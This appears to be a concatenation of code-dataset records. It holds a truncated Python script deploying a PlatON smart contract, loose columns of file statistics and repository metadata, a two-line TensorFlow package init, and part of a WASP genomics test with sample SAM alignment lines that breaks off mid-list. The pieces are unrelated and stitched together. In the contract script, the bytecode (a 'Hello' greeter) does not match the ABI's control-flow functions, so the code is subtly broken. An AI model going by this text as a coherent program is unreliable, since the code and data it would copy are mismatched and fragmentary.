"gasPrice": 1000000000,
"data": bytecode,
}
)
transactionHash = HexBytes(transactionHash).hex().lower()
return transactionHash
bytecode = '608060405234801561001057600080fd5b506040518060400160405280600581526020017f48656c6c6f0000000000000000000000000000000000000000000000000000008152506000908051906020019061005c929190610062565b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b610465806101166000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063a413686214610046578063cfae321714610101578063ef690cc014610184575b600080fd5b6100ff6004803603602081101561005c57600080fd5b810190808035906020019064010000000081111561007957600080fd5b82018360208201111561008b57600080fd5b803590602001918460018302840111640100000000831117156100ad57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610207565b005b610109610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014957808201518184015260208101905061012e565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61018c6102c3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cc5780820151818401526020810190506101b1565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b806000908051906020019061021d929190610361565b5050565b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b5050505050905090565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103595780601f1061032e57610100808354040283529160200191610359565b820191906000526020600020905b81548152906001019060200180831161033c57829003601f168201915b505050505081565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106103a257805160ff19168380011785556103d0565b828001600101855582156103d0579182015b828111156103cf5782518255916020019190600101906103b4565b5b5090506103dd91906103e1565b5090565b61040391905b808211156103ff5760008160009055506001016103e7565b5090565b9056fea265627a7a7231582049d7f8a29a0126f071821d6483cb3a246925e56555044971726b41b649dd7e6864736f6c63782c302e352e31332d646576656c6f702e323032302e352e31382b636f6d6d69742e33616239633638642e6d6f64005c'
abi = [{"constant":False,"inputs":[],"name":"doWhileControl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"doWhileControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":False,"inputs":[],"name":"forBreakControl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"forBreakControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":False,"inputs":[],"name":"forContinueControl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"forContinueControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":False,"inputs":[],"name":"forControl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"forControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":False,"inputs":[],"name":"forReturnControl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"forReturnControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":False,"inputs":[{"internalType":"int256","name":"age","type":"int256"}],"name":"forThreeControlControl","outputs":[],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"forThreeControlControlResult","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getForBreakControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getForContinueControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getForControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getForReturnControlResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getForThreeControlControlResult","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getIfControlResult","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":True,"inputs":[],"name":"getdoWhileResult","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":False,"stateMutability":"view","type":"function"},{"constant":False,"inputs":[{"internalType":"uint256","name":"age","type":"uint256"}],"name":"ifControl","outputs":[],"payable":False,"stateMutability":"nonpayable","type":"function"},{"constant":True,"inputs":[],"name":"ifControlResult","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":False,"stateMutability":"view","type":"function"}]
tx = contract_deploy(bytecode, from_address)
print(tx)
tx_receipt = platon.waitForTransactionReceipt(tx)
print(tx_receipt)
contractAddress = tx_receipt.contractAddress
print(contractAddress)
# contractAddress = bech32.bech32_decode(contractAddress)
hrpgot, data = bech32.decode("lax", from_address)
address = to_checksum_address(bytes(data))
print('qqq')
print(address)
def SendTxn(txn):
signed_txn = platon.account.signTransaction(txn,private_key=send_privatekey)
res = platon.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = platon.waitForTransactionReceipt(res)
print(res)
return txn_receipt
# print(len([10, 14, 31, 23, 10, 20, 20, 9, 15, 9, 0, 15, 12, 20, 6, 15, 12, 8, 5, 6, 28, 22, 7, 25, 11, 30, 2, 27, 10, 23, 19, 11]))
contract_instance = platon.contract(address=contractAddress, abi=abi)
# txn = contract_instance.functions.ifControl(20).buildTransaction(
# {
# 'chainId':200,
# 'nonce':platon.getTransactionCount(from_address),
# 'gas':1000000,
# 'value':0,
# 'gasPrice':1000000000,
# }
# )
# print("aaaa")
# print(SendTxn(txn))
# print("bbbb")
result = contract_instance.functions.getIfControlResult().call()
print(result)
| 118.44
| 3,927
| 0.792638
| 606
| 8,883
| 11.561056
| 0.222772
| 0.035969
| 0.080931
| 0.064231
| 0.320582
| 0.312875
| 0.312875
| 0.312875
| 0.312875
| 0.312875
| 0
| 0.338292
| 0.038951
| 8,883
| 75
| 3,928
| 118.44
| 0.482371
| 0.052797
| 0
| 0
| 0
| 0
| 0.647857
| 0.373333
| 0
| 1
| 0
| 0
| 0
| 1
| 0.043478
| false
| 0
| 0.108696
| 0
| 0.195652
| 0.195652
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7006073d37c7533815fd70ea0622079ec818be42
| 101
|
py
|
Python
|
litterbox/layers/__init__.py
|
rwightman/tensorflow-litterbox
|
ddeeb3a6c7de64e5391050ffbb5948feca65ad3c
|
[
"Apache-2.0"
] | 49
|
2016-09-09T15:31:36.000Z
|
2022-03-09T09:43:52.000Z
|
litterbox/layers/__init__.py
|
TangxinKevin/tensorflow-litterbox
|
ddeeb3a6c7de64e5391050ffbb5948feca65ad3c
|
[
"Apache-2.0"
] | 1
|
2017-06-09T07:24:16.000Z
|
2017-06-09T15:28:11.000Z
|
litterbox/layers/__init__.py
|
TangxinKevin/tensorflow-litterbox
|
ddeeb3a6c7de64e5391050ffbb5948feca65ad3c
|
[
"Apache-2.0"
] | 29
|
2016-09-20T07:29:54.000Z
|
2021-09-28T08:03:49.000Z
|
from .preact_conv import preact_conv2d
from .compact_bilinear_pooling import compact_bilinear_pooling
| 50.5
| 62
| 0.910891
| 14
| 101
| 6.142857
| 0.571429
| 0.348837
| 0.511628
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010638
| 0.069307
| 101
| 2
| 62
| 50.5
| 0.904255
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
700b58d2a1f0abeadf509a6e9025c7c24dec971f
| 33,717
|
py
|
Python
|
mapping/test_filter_remapped_reads.py
|
bmvdgeijn/WASP
|
d3b8447fd7719fffa00b856fd1f27c845554693e
|
[
"Apache-2.0"
] | 72
|
2015-03-01T20:59:06.000Z
|
2022-03-28T08:48:39.000Z
|
mapping/test_filter_remapped_reads.py
|
bmvdgeijn/WASP
|
d3b8447fd7719fffa00b856fd1f27c845554693e
|
[
"Apache-2.0"
] | 93
|
2015-01-14T23:49:12.000Z
|
2022-03-26T16:31:52.000Z
|
mapping/test_filter_remapped_reads.py
|
bmvdgeijn/WASP
|
d3b8447fd7719fffa00b856fd1f27c845554693e
|
[
"Apache-2.0"
] | 51
|
2015-02-19T23:49:17.000Z
|
2021-12-16T01:40:37.000Z
|
import sys
import os
import subprocess
import filter_remapped_reads
import util
#
# filter_remapped_reads.py
# INPUT FILES:
# to_remap_bam - input BAM file containing original set of reads
# that need to be remapped after having their alleles flipped
#
# remap_bam - input BAM file containing remapped reads. Read names in this
# file should be delimited with the '.' character and
# contain the following fields:
# <orig_name>.<coordinate>.<read_number>.<total_read_number>
#
# For single-end reads <coordinate> is the left end of the read
# (e.g. 16052611)
# For paired-end reads the coordinate is the start of the
# the left read and start of the right read:
# (e.g. 16052611-16052734)
#
#
#
# OUTPUT FILES:
# keep_bam - ouput BAM file containing reads that are retained
# after filtering
#
#
# DATA
to_remap_sam_lines = [
"SRR1658224.34085432 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085432 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"SRR1658224.34085433 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085433 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"SRR1658224.34085434 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085434 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"SRR1658224.34975561 99 chr22 16071944 12 101M = 16072163 320 ATTTATTTATTTATTTATTATTGGGACAGAGTCTCACTCTGTCCCCCAGACTGGAGTCCAGTGACATGATCTCAGCTCACTGCAACCTCTGCCTCGTGGGT CCCFFFFFHHHHHJJJJJJJJJJJJIJJJJIEHIJJJJJJJIIJJJJJIJJJJJJJJJJIJHIJIJJJJIJJJJJHHHHHHFFFFFECEEEEDDDDDDBBD AS:i:-5 XS:i:-22 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:89C11 YS:i:0 YT:Z:CP",
"SRR1658224.34975561 147 chr22 16072163 12 101M = 16071944 -320 GTCTCAAACTTCTGACCTCAGGTGATCCACCCACCTCGACCTCCCAAAGTGCTGGGATTACAGGCACTAGGTCCCTAAATTAGAGCCATATTCTTTAATGT DDBCDEDCDCCDCC?DDDDDDDBACBDA<FFB:6HIIJIIJIIJJJJJJJJJJJJIJJIHJJJJJIJJJJJJJJJJJJJJJJJJJJJJHHHGGFFFFFCCC AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-5 YT:Z:CP",
"SRR1658224.7462188 163 chr22 16235410 17 101M = 16235625 316 AGATAATTGTCTTATTTTTTTAAAAAAAGAGTAACTTTATATTATGGAATTCATAATATTTGAGACTATAATGCATGACATAAATAGTATAAAGGAGAGAG CC@FFFFFHHHHHJJJJJJJJJJJJJJJJIJBGIJJJJJJJJJJJJJIJIFIJJJJJJJJJHHHHGFFFFFFEEEEDEEDDDDDEED@CFFFEDDD?ABB? AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-5 YT:Z:CP",
"SRR1658224.7462188 83 chr22 16235625 17 101M = 16235410 -316 TTCAAAAGATGGTATATGCATTAATATTTTCATACAACTTCCAGCTTTTGTTTTTCTTCATTTAATTTTATTTATTTATTTATTTTTGAGATGGAGTCTCG CBDDDDECEEDEFFFDFFFHHHHHHHJJIIJJIHIHFHGHJJJJJJJGJJJJJIJJJIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJHHHHHFFFDFCCC AS:i:-5 XS:i:-39 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:15G85 YS:i:0 YT:Z:CP",
"SRR1658224.31153145 163 chr22 16235410 17 101M = 16235625 316 AGATAATTGTCTTATTTTTTTAAAAAAAGAGTAACTTTATATTATGGAATTCATAATATTTGAGACTATAATGCATGACATAAATAGTATAAAGGAGAGAG CCCFFFFFHHHHHJJJJJJJJJJJJJJJJIJFHIJJJJJJJJJJJIJIJJFHIJJJJJJJJHHHHHFFFFFFEDEEEEEDDDDDEED@DEEEEDDDDDDB2 AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-2 YT:Z:CP",
"SRR1658224.31153145 83 chr22 16235625 17 101M = 16235410 -316 TTCAAAAGATGGTATGTGCATTAATATTTTCATACAACTTCCAGTTTTTGTTTTTCTTCATTTAATTTTATTTATTTATTTATTTTTGAGATGGAGTCTCG DDDDDDDDEEEEEEFFFFFFHHHHGHHJJIJJJIIJIJIHJHF@(JJJJJJJJJJJJIIIIJJJJJJJIJJJJJJJJJJJJJJJJJJJHHHHHFFFDFCCC AS:i:-2 XS:i:-36 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:44C56 YS:i:0 YT:Z:CP",
"SRR1658224.25014179 163 chr22 16236979 31 101M = 16237137 259 ATGTTTTTTAAGATTTAATATTACTTTTTCCAACATCTTTTTATCCTCAAGTTTTTTATATTCCTGTTGTATTTTTTTATAGATAATAACTCCTGTTGAAT CCCFFFFFHHHHFIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJHGIJJJJJJJJIJJJJJJJHHHHHHHDCDDECDEEDDEDDDDDDDDDDCDC AS:i:0 XS:i:-28 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:0 YT:Z:CP",
"SRR1658224.25014179 83 chr22 16237137 31 101M = 16236979 -259 TCATCGAACTACATTAATAAAATAATATAGCTTGATAATGAAGTAGGCTGAGAATAATCTCATACAAAACCAATAACAAATTTTGAAATACATTTACTTGC CEFFFFFHHHHHHHHJJJJJJJJJIHJIJIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJIIJJJIHJJJJJJIJJJJJJJJJJJJHHHHHFDDFFCCC AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:0 YT:Z:CP",
"readpair1 163 chr22 100 12 101M = 200 201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair2 163 chr22 150 12 101M = 250 201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"readpair1 83 chr22 200 12 101M = 100 -201 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"readpair2 163 chr22 250 12 101M = 150 -201 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP"
]
remap_sam_lines = [
# Read pair expected to map 2 times and maps to correct location 2 times
"SRR1658224.34085432.16052611-16052734.1.2 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085432.16052611-16052734.1.2 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
"SRR1658224.34085432.16052611-16052734.2.2 163 chr22 16052611 12 101M = 16052734 224 TGGAGACATAAAATGAGGCATATCTGACCTCCACTTCCAAAAACATCTGAGATAGGTCTCAGTTAATTAAGAAAGTTTGTTCTGCCTAGTTTAAGGACATG CCCFFFFFHHHHHJJJJJJJJJJJJJJJIJJJJJJJJJJJJJJJJJIJJIHIJJJJEHIJJJHJJJJJJJJJJJJ=DHHHHHFFFFFFEEEEEEDDCDDDC AS:i:-11 XS:i:-17 XN:i:0 XM:i:2 XO:i:0 XG:i:0 NM:i:2 MD:Z:7G44C48 YS:i:0 YT:Z:CP",
"SRR1658224.34085432.16052611-16052734.2.2 83 chr22 16052734 12 101M = 16052611 -224 TCCTGACAGCATGTGCCCAAGGTGGTCAGGATACAGCTTGCTTCTATATATTTTAGGGAGAAAATACATCAGCCTGTAAACAAAAAATTAAATTCTAAGGT DDDDDDDDDDDDDDEDEEEFFFFHHFHHIIFIIJJJJIJJJJJJJJJJIIJJJIIIJIJIJJJJIFIIIJJIJJJJJJJIIJJJJJJJHHHHHFFFFFCCC AS:i:0 XS:i:-12 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-11 YT:Z:CP",
# Read pair expected to map 2 times, but only maps 1 time
"SRR1658224.34975561.16071944-16072163.2.2 99 chr22 16071944 12 101M = 16072163 320 ATTTATTTATTTATTTATTATTGGGACAGAGTCTCACTCTGTCCCCCAGACTGGAGTCCAGTGACATGATCTCAGCTCACTGCAACCTCTGCCTCGTGGGT CCCFFFFFHHHHHJJJJJJJJJJJJIJJJJIEHIJJJJJJJIIJJJJJIJJJJJJJJJJIJHIJIJJJJIJJJJJHHHHHHFFFFFECEEEEDDDDDDBBD AS:i:-5 XS:i:-22 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:89C11 YS:i:0 YT:Z:CP",
"SRR1658224.34975561.16071944-16072163.2.2 147 chr22 16072163 12 101M = 16071944 -320 GTCTCAAACTTCTGACCTCAGGTGATCCACCCACCTCGACCTCCCAAAGTGCTGGGATTACAGGCACTAGGTCCCTAAATTAGAGCCATATTCTTTAATGT DDBCDEDCDCCDCC?DDDDDDDBACBDA<FFB:6HIIJIIJIIJJJJJJJJJJJJIJJIHJJJJJIJJJJJJJJJJJJJJJJJJJJJJHHHGGFFFFFCCC AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-5 YT:Z:CP",
# Read pair expected to map 2 times, but only 1/2 of 2nd pair maps back to same location
"SRR1658224.7462188.16235410-16235625.1.2 163 chr22 16235410 17 101M = 16235625 316 AGATAATTGTCTTATTTTTTTAAAAAAAGAGTAACTTTATATTATGGAATTCATAATATTTGAGACTATAATGCATGACATAAATAGTATAAAGGAGAGAG CC@FFFFFHHHHHJJJJJJJJJJJJJJJJIJBGIJJJJJJJJJJJJJIJIFIJJJJJJJJJHHHHGFFFFFFEEEEDEEDDDDDEED@CFFFEDDD?ABB? AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-5 YT:Z:CP",
"SRR1658224.7462188.16235410-16235625.1.2 83 chr22 16235625 17 101M = 16235410 -316 TTCAAAAGATGGTATATGCATTAATATTTTCATACAACTTCCAGCTTTTGTTTTTCTTCATTTAATTTTATTTATTTATTTATTTTTGAGATGGAGTCTCG CBDDDDECEEDEFFFDFFFHHHHHHHJJIIJJIHIHFHGHJJJJJJJGJJJJJIJJJIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJHHHHHFFFDFCCC AS:i:-5 XS:i:-39 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:15G85 YS:i:0 YT:Z:CP",
"SRR1658224.7462188.16235410-16235625.2.2 163 chr22 16235410 17 101M * 0 0 AGATAATTGTCTTATTTTTTTAAAAAAAGAGTAACTTTATATTATGGAATTCATAATATTTGAGACTATAATGCATGACATAAATAGTATAAAGGAGAGAG CC@FFFFFHHHHHJJJJJJJJJJJJJJJJIJBGIJJJJJJJJJJJJJIJIFIJJJJJJJJJHHHHGFFFFFFEEEEDEEDDDDDEED@CFFFEDDD?ABB? AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-5 YT:Z:CP",
# Read pair expected to map 2 times, but 1 pair maps to wrong location
"SRR1658224.31153145.16235410-16235625.1.2 163 chr22 16235410 17 101M = 16235625 316 AGATAATTGTCTTATTTTTTTAAAAAAAGAGTAACTTTATATTATGGAATTCATAATATTTGAGACTATAATGCATGACATAAATAGTATAAAGGAGAGAG CCCFFFFFHHHHHJJJJJJJJJJJJJJJJIJFHIJJJJJJJJJJJIJIJJFHIJJJJJJJJHHHHHFFFFFFEDEEEEEDDDDDEED@DEEEEDDDDDDB2 AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-2 YT:Z:CP",
"SRR1658224.31153145.16235410-16235625.1.2 83 chr22 16235625 17 101M = 16235410 -316 TTCAAAAGATGGTATGTGCATTAATATTTTCATACAACTTCCAGTTTTTGTTTTTCTTCATTTAATTTTATTTATTTATTTATTTTTGAGATGGAGTCTCG DDDDDDDDEEEEEEFFFFFFHHHHGHHJJIJJJIIJIJIHJHF@(JJJJJJJJJJJJIIIIJJJJJJJIJJJJJJJJJJJJJJJJJJJHHHHHFFFDFCCC AS:i:-2 XS:i:-36 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:44C56 YS:i:0 YT:Z:CP",
"SRR1658224.31153145.16235410-16235625.2.2 163 chr22 18235410 17 101M = 16235625 316 AGATAATTGTCTTATTTTTTTAAAAAAAGAGTAACTTTATATTATGGAATTCATAATATTTGAGACTATAATGCATGACATAAATAGTATAAAGGAGAGAG CCCFFFFFHHHHHJJJJJJJJJJJJJJJJIJFHIJJJJJJJJJJJIJIJJFHIJJJJJJJJHHHHHFFFFFFEDEEEEEDDDDDEED@DEEEEDDDDDDB2 AS:i:0 XS:i:0 XN:i:0 XM:i:0 XO:i:0 XG:i:0 NM:i:0 MD:Z:101 YS:i:-2 YT:Z:CP",
"SRR1658224.31153145.16235410-16235625.2.2 83 chr22 18235625 17 101M = 16235410 -316 TTCAAAAGATGGTATGTGCATTAATATTTTCATACAACTTCCAGTTTTTGTTTTTCTTCATTTAATTTTATTTATTTATTTATTTTTGAGATGGAGTCTCG DDDDDDDDEEEEEEFFFFFFHHHHGHHJJIJJJIIJIJIHJHF@(JJJJJJJJJJJJIIIIJJJJJJJIJJJJJJJJJJJJJJJJJJJHHHHHFFFDFCCC AS:i:-2 XS:i:-36 XN:i:0 XM:i:1 XO:i:0 XG:i:0 NM:i:1 MD:Z:44C56 YS:i:0 YT:Z:CP",
# Read pair expected to map 2 times, but does not map at all
# "SRR1658224.25014179"
# Read pairs expected to map 1 times, with read-pairs interleaved
